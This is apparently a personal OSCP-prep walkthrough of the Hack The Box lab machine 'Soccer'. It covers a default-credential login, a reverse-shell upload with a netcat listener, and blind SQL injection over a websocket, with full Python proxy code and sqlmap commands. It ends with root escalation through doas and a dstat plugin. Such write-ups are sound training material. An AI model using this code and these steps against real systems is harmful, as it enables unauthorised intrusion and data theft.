OSCP PREP BOX 4: HtB Soccer
Key Takeaways:
grep -nr —color=always “<string">” is really god damn useful… if I had used this from the start, this box would have been much faster
Websockets are fun.
Soccer was actually a pretty fun box that was segregated in a more unique way than your typical “find an exploit, get user, get root” format.
We “kicked” this off with a default nmap scan which showed 3 open ports:
From here, we took a look at the base website which didn’t really have anything on it. No links, no real interactivity, etc. So I moved onto running dirbuster to see if we could find some hidden directories:
So we see we have soccer.htb/tiny as a directory. When you navigate to that, you get prompted with a login screen for tiny file management:
I Googled for default credentials and found admin:admin@123 which worked! I then saw we had file upload capabilities. I prepped a payload from pentestmonkey (make sure to edit the listening host and port addresses). I spun up a netcat listener and uploaded the file to /tiny/uploads/. I then clicked my file and hit “open.”
INITIAL FOOTHOLD ACQUIRED!
Now, I learned one of my new favorite commands here which is “grep -nr —color=always “<string>”
I first tried looking in the home directory and we found a user named “player” and tried to cat the user.txt flag but we don’t have permission since we’re running as www-data! Damn.. Alright, time to continue enumeration. As I continued to fun grep, I found a subdomain for soccer.htb:
So it seems like the web server is running soc-player.soccer.htb on port 9091 which was previously not accessible. I added soc-player.soccer.htb to my hosts file (sudo sh -c ‘echo “<ip> soc-player.soccer.htb” >> /etc/hosts’).
I then navigated to this URL and found we had pretty much the same webpage but with much more options. We do have a login function too which allows us to make our own username:
When we click sign up and login, it takes us to a page that allows user input and reflects basically a yes or no response. My first thought was some sort of SQLi which I actually confirmed really quickly.
Now this is where the rabbit hole begins.. it is a blind SQL injection and I confirmed that with a few test payloads. The issue (well a few of them..) is that this app logs you out really quickly which is annoying. And second, it’s actually a websocket (I had no idea what these were before doing this box, so I spent about 30 minutes watching youtube videos on websockets).
I then took to Google and tried to figure out how I could run SQLMap to enumerate this blind sqli vulnerability. I tried just running it standard but it couldn’t find the input field. I then came across this webpage:
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
This sets up basically a proxy to forward SQLMap through and into the websocket input field. It took me about 30-45 minutes of tweaking the python script in order to get it to work. Sadly, all you had to do was just bump out the employee string and just put “id" and then steal the websocket URL which you can just get from viewing the page source of the web socket. Here’s the correctly modified code you need:
from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse from websocket import create_connection ws_server = "ws://soc-player.soccer.htb:9091/check" def send_ws(payload): ws = create_connection(ws_server) # If the server returns a response on connect, use below line #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here # For our case, format the payload in JSON message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure data = '{"id":"%s"}' % message ws.send(data) resp = ws.recv() ws.close() if resp: return resp else: return '' def middleware_server(host_port,content_type="text/plain"): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) try: payload = urlparse(self.path).query.split('=',1)[1] except IndexError: payload = False if payload: content = send_ws(payload) else: content = 'No parameters specified!' self.send_header("Content-type", content_type) self.end_headers() self.wfile.write(content.encode()) return class _TCPServer(TCPServer): allow_reuse_address = True httpd = _TCPServer(host_port, CustomHandler) httpd.serve_forever() print("[+] Starting MiddleWare Server") print("[+] Send payloads in http://localhost:8081/?id=*") try: middleware_server(('0.0.0.0',8081)) except KeyboardInterrupt: pass
I saved this as script.py and ran: python3 script.py
So this sets up our proxy on 8081. Now, in a new tab, you’re going to run:
sqlmap -u http://localhost:8081?id=*” —dbs
We see that there’s a database called: soccer_db
Now we can dump that database with —dump soccer_db
From there we get the username player and the password!
Now we can SSH as player:
From here, I began running my usual priv esc enumeration, checking kernel version, checking sudo permissions, checking SUIDs, etc. The kernel version didn’t give us much info, we didn’t have any sudo privs, but there was an interesting SUID binary.
If you don’t know how to check SUIDs, they cover that in the eCPPT:
find / -perm -u=s -type f 2>/dev/null
We then get a result back of “doas”
I started doing some more queries, ran some more greps and found this:
So we can run doas with no password as root for the dstat command. I had no idea what doas was, so I Googled that and found this article. It covers how to use doas for priv esc and that doas is basically an alternative (or at least it operates similarly to sudo). Since it operates like sudo, I checked GTFO bins for SUDO dstat options. I then found this page.
So all we have to do is echo bash session into a python file since dstat allows the execution of python plugins from specific directories (one of which we have write access to).
WE ARE ROOT.
SQLi.
I downloaded a GitHub script which helps port sqlmap through a proxy to let us run it on a websocket.
I had a bit of trouble with the install, but just clone the repository with git clone, then cd into the directory, then run “sudo python3 -m pip install .” The executable is then in “lib”